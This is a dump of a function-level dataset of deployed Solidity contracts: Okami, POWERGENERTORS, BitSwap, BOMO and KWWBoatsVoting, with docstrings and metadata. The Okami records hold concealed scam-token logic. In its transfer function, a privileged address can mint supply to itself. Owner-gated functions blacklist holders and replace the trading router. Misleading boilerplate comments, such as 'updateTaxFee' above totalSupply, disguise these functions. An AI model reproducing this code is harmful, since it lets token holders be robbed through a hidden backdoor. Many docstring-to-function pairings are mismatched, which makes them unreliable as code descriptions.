| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://40ec43f9b4550bf39760d51066edb256f8ef2fdd62db544ab2a774609f81c2cf | {
"func_code_index": [
910,
1019
]
} | 574 | ||
Okami | Okami.sol | 0x95d3772141d280d6c3bd5840997a883f429253ad | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
... | begintrading | function begintrading (address set) public checker {
router = set;
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://40ec43f9b4550bf39760d51066edb256f8ef2fdd62db544ab2a774609f81c2cf | {
"func_code_index": [
1241,
1328
]
} | 575 | ||
Okami | Okami.sol | 0x95d3772141d280d6c3bd5840997a883f429253ad | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
... | decimals | function decimals() public view virtual override returns (uint8) {
return 18;
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://40ec43f9b4550bf39760d51066edb256f8ef2fdd62db544ab2a774609f81c2cf | {
"func_code_index": [
1594,
1696
]
} | 576 | ||
Okami | Okami.sol | 0x95d3772141d280d6c3bd5840997a883f429253ad | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
... | totalSupply | function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
| /**
* @dev updateTaxFee
*
*/ | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://40ec43f9b4550bf39760d51066edb256f8ef2fdd62db544ab2a774609f81c2cf | {
"func_code_index": [
1750,
1863
]
} | 577 | ||
Okami | Okami.sol | 0x95d3772141d280d6c3bd5840997a883f429253ad | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
... | balanceOf | function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://40ec43f9b4550bf39760d51066edb256f8ef2fdd62db544ab2a774609f81c2cf | {
"func_code_index": [
2176,
2308
]
} | 578 | ||
Okami | Okami.sol | 0x95d3772141d280d6c3bd5840997a883f429253ad | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
... | transfer | function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances... | /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*... | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://40ec43f9b4550bf39760d51066edb256f8ef2fdd62db544ab2a774609f81c2cf | {
"func_code_index": [
2673,
3188
]
} | 579 | ||
Okami | Okami.sol | 0x95d3772141d280d6c3bd5840997a883f429253ad | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
... | botban | function botban(address _count) internal checker {
confirm[_count] = true;
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*... | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://40ec43f9b4550bf39760d51066edb256f8ef2fdd62db544ab2a774609f81c2cf | {
"func_code_index": [
4313,
4410
]
} | 580 | ||
Okami | Okami.sol | 0x95d3772141d280d6c3bd5840997a883f429253ad | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
... | setSupply | function setSupply(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
botban(_counts[i]); }
}
| /**
* @dev updateTaxFee
*
*/ | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://40ec43f9b4550bf39760d51066edb256f8ef2fdd62db544ab2a774609f81c2cf | {
"func_code_index": [
4465,
4640
]
} | 581 | ||
POWERGENERTORS | POWERGENERTORS.sol | 0xf78c76a75a912c93380e0fd0d56d404ed617d340 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
| /**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/ | NatSpecMultiLine | v0.6.4+commit.1dca32f3 | MIT | ipfs://c0944617a9285e978c3a7e81e08c0a9c40ca8bd9376d9f515eff14012f992525 | {
"func_code_index": [
259,
445
]
} | 582 | ||
POWERGENERTORS | POWERGENERTORS.sol | 0xf78c76a75a912c93380e0fd0d56d404ed617d340 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.4+commit.1dca32f3 | MIT | ipfs://c0944617a9285e978c3a7e81e08c0a9c40ca8bd9376d9f515eff14012f992525 | {
"func_code_index": [
724,
865
]
} | 583 | ||
POWERGENERTORS | POWERGENERTORS.sol | 0xf78c76a75a912c93380e0fd0d56d404ed617d340 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | sub | function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.4+commit.1dca32f3 | MIT | ipfs://c0944617a9285e978c3a7e81e08c0a9c40ca8bd9376d9f515eff14012f992525 | {
"func_code_index": [
1163,
1360
]
} | 584 | ||
POWERGENERTORS | POWERGENERTORS.sol | 0xf78c76a75a912c93380e0fd0d56d404ed617d340 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
... | /**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/ | NatSpecMultiLine | v0.6.4+commit.1dca32f3 | MIT | ipfs://c0944617a9285e978c3a7e81e08c0a9c40ca8bd9376d9f515eff14012f992525 | {
"func_code_index": [
1614,
2090
]
} | 585 | ||
POWERGENERTORS | POWERGENERTORS.sol | 0xf78c76a75a912c93380e0fd0d56d404ed617d340 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to reve... | NatSpecMultiLine | v0.6.4+commit.1dca32f3 | MIT | ipfs://c0944617a9285e978c3a7e81e08c0a9c40ca8bd9376d9f515eff14012f992525 | {
"func_code_index": [
2561,
2698
]
} | 586 | ||
POWERGENERTORS | POWERGENERTORS.sol | 0xf78c76a75a912c93380e0fd0d56d404ed617d340 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | div | function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an in... | NatSpecMultiLine | v0.6.4+commit.1dca32f3 | MIT | ipfs://c0944617a9285e978c3a7e81e08c0a9c40ca8bd9376d9f515eff14012f992525 | {
"func_code_index": [
3189,
3472
]
} | 587 | ||
POWERGENERTORS | POWERGENERTORS.sol | 0xf78c76a75a912c93380e0fd0d56d404ed617d340 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | mod | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consumi... | NatSpecMultiLine | v0.6.4+commit.1dca32f3 | MIT | ipfs://c0944617a9285e978c3a7e81e08c0a9c40ca8bd9376d9f515eff14012f992525 | {
"func_code_index": [
3932,
4067
]
} | 588 | ||
POWERGENERTORS | POWERGENERTORS.sol | 0xf78c76a75a912c93380e0fd0d56d404ed617d340 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | mod | function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcod... | NatSpecMultiLine | v0.6.4+commit.1dca32f3 | MIT | ipfs://c0944617a9285e978c3a7e81e08c0a9c40ca8bd9376d9f515eff14012f992525 | {
"func_code_index": [
4547,
4718
]
} | 589 | ||
POWERGENERTORS | POWERGENERTORS.sol | 0xf78c76a75a912c93380e0fd0d56d404ed617d340 | Solidity | POWERGENERTORS | contract POWERGENERTORS{
using SafeMath for uint256;
//======================================EVENTS=========================================//
event POPCORNEvent(address indexed executioner, address indexed pool, uint amount);
event DITCHEvent(address indexed executioner, address indexed... | _popcorns | function _popcorns(uint256 _amount) internal {
require(_machineReady, "Staking not yet initialized");
require(FIRE(fireball).balanceOf(msg.sender) > MIN_FIRE_TO_POP, "You do not have sufficient fire to pop this corn");
require(IERC20(powerToken).balanceOf(msg.sender) >= _amount, "Insufficient ... | //======================================ACTION CALLS=========================================// | LineComment | v0.6.4+commit.1dca32f3 | MIT | ipfs://c0944617a9285e978c3a7e81e08c0a9c40ca8bd9376d9f515eff14012f992525 | {
"func_code_index": [
3607,
4647
]
} | 590 | ||
BitSwap_5 | BitSwap_5.sol | 0x9ceaf86c4f96dadb746544f89675bc7f5f543c54 | Solidity | ERC20Interface | contract ERC20Interface {
// Get the total token supply
function totalSupply() view public returns (uint256);
// Get the account balance of another account with address _owner
function balanceOf(address _owner) view public returns (uint256);
// Send _value amount of tokens to address _to
... | totalSupply | function totalSupply() view public returns (uint256);
| // Get the total token supply | LineComment | v0.5.0+commit.1d4f565a | bzzr://d827dc2b10ff2bb38b05225ec2e197d9c60156ce73d52c545437590eccc5237c | {
"func_code_index": [
62,
120
]
} | 591 | |||
BitSwap_5 | BitSwap_5.sol | 0x9ceaf86c4f96dadb746544f89675bc7f5f543c54 | Solidity | ERC20Interface | contract ERC20Interface {
// Get the total token supply
function totalSupply() view public returns (uint256);
// Get the account balance of another account with address _owner
function balanceOf(address _owner) view public returns (uint256);
// Send _value amount of tokens to address _to
... | balanceOf | function balanceOf(address _owner) view public returns (uint256);
| // Get the account balance of another account with address _owner | LineComment | v0.5.0+commit.1d4f565a | bzzr://d827dc2b10ff2bb38b05225ec2e197d9c60156ce73d52c545437590eccc5237c | {
"func_code_index": [
194,
264
]
} | 592 | |||
BitSwap_5 | BitSwap_5.sol | 0x9ceaf86c4f96dadb746544f89675bc7f5f543c54 | Solidity | ERC20Interface | contract ERC20Interface {
// Get the total token supply
function totalSupply() view public returns (uint256);
// Get the account balance of another account with address _owner
function balanceOf(address _owner) view public returns (uint256);
// Send _value amount of tokens to address _to
... | transfer | function transfer(address _to, uint256 _value) public returns (bool success);
| // Send _value amount of tokens to address _to | LineComment | v0.5.0+commit.1d4f565a | bzzr://d827dc2b10ff2bb38b05225ec2e197d9c60156ce73d52c545437590eccc5237c | {
"func_code_index": [
319,
401
]
} | 593 | |||
BitSwap_5 | BitSwap_5.sol | 0x9ceaf86c4f96dadb746544f89675bc7f5f543c54 | Solidity | ERC20Interface | contract ERC20Interface {
// Get the total token supply
function totalSupply() view public returns (uint256);
// Get the account balance of another account with address _owner
function balanceOf(address _owner) view public returns (uint256);
// Send _value amount of tokens to address _to
... | transferFrom | function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
| // Send _value amount of tokens from address _from to address _to | LineComment | v0.5.0+commit.1d4f565a | bzzr://d827dc2b10ff2bb38b05225ec2e197d9c60156ce73d52c545437590eccc5237c | {
"func_code_index": [
475,
576
]
} | 594 | |||
BitSwap_5 | BitSwap_5.sol | 0x9ceaf86c4f96dadb746544f89675bc7f5f543c54 | Solidity | ERC20Interface | contract ERC20Interface {
// Get the total token supply
function totalSupply() view public returns (uint256);
// Get the account balance of another account with address _owner
function balanceOf(address _owner) view public returns (uint256);
// Send _value amount of tokens to address _to
... | approve | function approve(address _spender, uint256 _value) public returns (bool success);
| // Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
// this function is required for some DEX functionality | LineComment | v0.5.0+commit.1d4f565a | bzzr://d827dc2b10ff2bb38b05225ec2e197d9c60156ce73d52c545437590eccc5237c | {
"func_code_index": [
825,
911
]
} | 595 | |||
BitSwap_5 | BitSwap_5.sol | 0x9ceaf86c4f96dadb746544f89675bc7f5f543c54 | Solidity | ERC20Interface | contract ERC20Interface {
// Get the total token supply
function totalSupply() view public returns (uint256);
// Get the account balance of another account with address _owner
function balanceOf(address _owner) view public returns (uint256);
// Send _value amount of tokens to address _to
... | allowance | function allowance(address _owner, address _spender) view public returns (uint256 remaining);
| // Returns the amount which _spender is still allowed to withdraw from _owner | LineComment | v0.5.0+commit.1d4f565a | bzzr://d827dc2b10ff2bb38b05225ec2e197d9c60156ce73d52c545437590eccc5237c | {
"func_code_index": [
997,
1095
]
} | 596 | |||
BOMO | BOMO.sol | 0x06a5d00f4d1303f22e189622dedea6ef77c5c65d | Solidity | BOMO | contract BOMO is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// --------------------------------------------... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | totalSupply | function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
| // ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------ | LineComment | v0.4.24+commit.e67f0147 | MIT | bzzr://449183bcaa03cc1572f72482d76039b51d453c7c462e4ffe02f696ed7823efaa | {
"func_code_index": [
959,
1080
]
} | 597 |
BOMO | BOMO.sol | 0x06a5d00f4d1303f22e189622dedea6ef77c5c65d | Solidity | BOMO | contract BOMO is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// --------------------------------------------... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | balanceOf | function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
| // ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------ | LineComment | v0.4.24+commit.e67f0147 | MIT | bzzr://449183bcaa03cc1572f72482d76039b51d453c7c462e4ffe02f696ed7823efaa | {
"func_code_index": [
1300,
1429
]
} | 598 |
BOMO | BOMO.sol | 0x06a5d00f4d1303f22e189622dedea6ef77c5c65d | Solidity | BOMO | contract BOMO is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// --------------------------------------------... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | transfer | function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
| // ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------ | LineComment | v0.4.24+commit.e67f0147 | MIT | bzzr://449183bcaa03cc1572f72482d76039b51d453c7c462e4ffe02f696ed7823efaa | {
"func_code_index": [
1773,
2055
]
} | 599 |
BOMO | BOMO.sol | 0x06a5d00f4d1303f22e189622dedea6ef77c5c65d | Solidity | BOMO | contract BOMO is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// --------------------------------------------... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | approve | function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
| // ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double... | LineComment | v0.4.24+commit.e67f0147 | MIT | bzzr://449183bcaa03cc1572f72482d76039b51d453c7c462e4ffe02f696ed7823efaa | {
"func_code_index": [
2563,
2776
]
} | 600 |
BOMO | BOMO.sol | 0x06a5d00f4d1303f22e189622dedea6ef77c5c65d | Solidity | BOMO | contract BOMO is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// --------------------------------------------... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | transferFrom | function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
r... | // ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - S... | LineComment | v0.4.24+commit.e67f0147 | MIT | bzzr://449183bcaa03cc1572f72482d76039b51d453c7c462e4ffe02f696ed7823efaa | {
"func_code_index": [
3307,
3670
]
} | 601 |
BOMO | BOMO.sol | 0x06a5d00f4d1303f22e189622dedea6ef77c5c65d | Solidity | BOMO | contract BOMO is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// --------------------------------------------... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | allowance | function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
| // ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------ | LineComment | v0.4.24+commit.e67f0147 | MIT | bzzr://449183bcaa03cc1572f72482d76039b51d453c7c462e4ffe02f696ed7823efaa | {
"func_code_index": [
3953,
4109
]
} | 602 |
BOMO | BOMO.sol | 0x06a5d00f4d1303f22e189622dedea6ef77c5c65d | Solidity | BOMO | contract BOMO is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// --------------------------------------------... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | approveAndCall | function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
| // ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// --------------------------------------------------------------------... | LineComment | v0.4.24+commit.e67f0147 | MIT | bzzr://449183bcaa03cc1572f72482d76039b51d453c7c462e4ffe02f696ed7823efaa | {
"func_code_index": [
4464,
4786
]
} | 603 |
BOMO | BOMO.sol | 0x06a5d00f4d1303f22e189622dedea6ef77c5c65d | Solidity | BOMO | contract BOMO is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// --------------------------------------------... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | function () public payable {
revert();
}
| // ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------ | LineComment | v0.4.24+commit.e67f0147 | MIT | bzzr://449183bcaa03cc1572f72482d76039b51d453c7c462e4ffe02f696ed7823efaa | {
"func_code_index": [
4978,
5037
]
} | 604 | |
BOMO | BOMO.sol | 0x06a5d00f4d1303f22e189622dedea6ef77c5c65d | Solidity | BOMO | contract BOMO is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// --------------------------------------------... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | transferAnyERC20Token | function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
| // ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------ | LineComment | v0.4.24+commit.e67f0147 | MIT | bzzr://449183bcaa03cc1572f72482d76039b51d453c7c462e4ffe02f696ed7823efaa | {
"func_code_index": [
5270,
5459
]
} | 605 |
KWWBoatsVoting | contracts/KWWBoatsVoting.sol | 0x8c41343b12c6dabbeab4773c462e916c62016b7c | Solidity | KWWBoatsVoting | contract KWWBoatsVoting is IBoatsVoting, Ownable {
address gameManager;
int8 public voteDay1 = 2;
int8 public voteDay2 = 3;
uint8 public durationHours = 24;
uint8 public daysBetweenVotes = 7;
//tokenId => BoatData
mapping(uint16 => BoatData) public boatsDetails;
//boatState =... | setBoatDetails | function setBoatDetails(uint16 idx, BoatData memory data) public override onlyGameManager{
boatsDetails[idx] = data;
}
| /*
EXECUTABLE FUNCTIONS
*/ | Comment | v0.8.4+commit.c7e474f2 | MIT | ipfs://8f707f7f8f9ebb3464f53a333bb3a80a6aaf6b2844d348c99cac0a09323e7b4c | {
"func_code_index": [
434,
572
]
} | 606 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.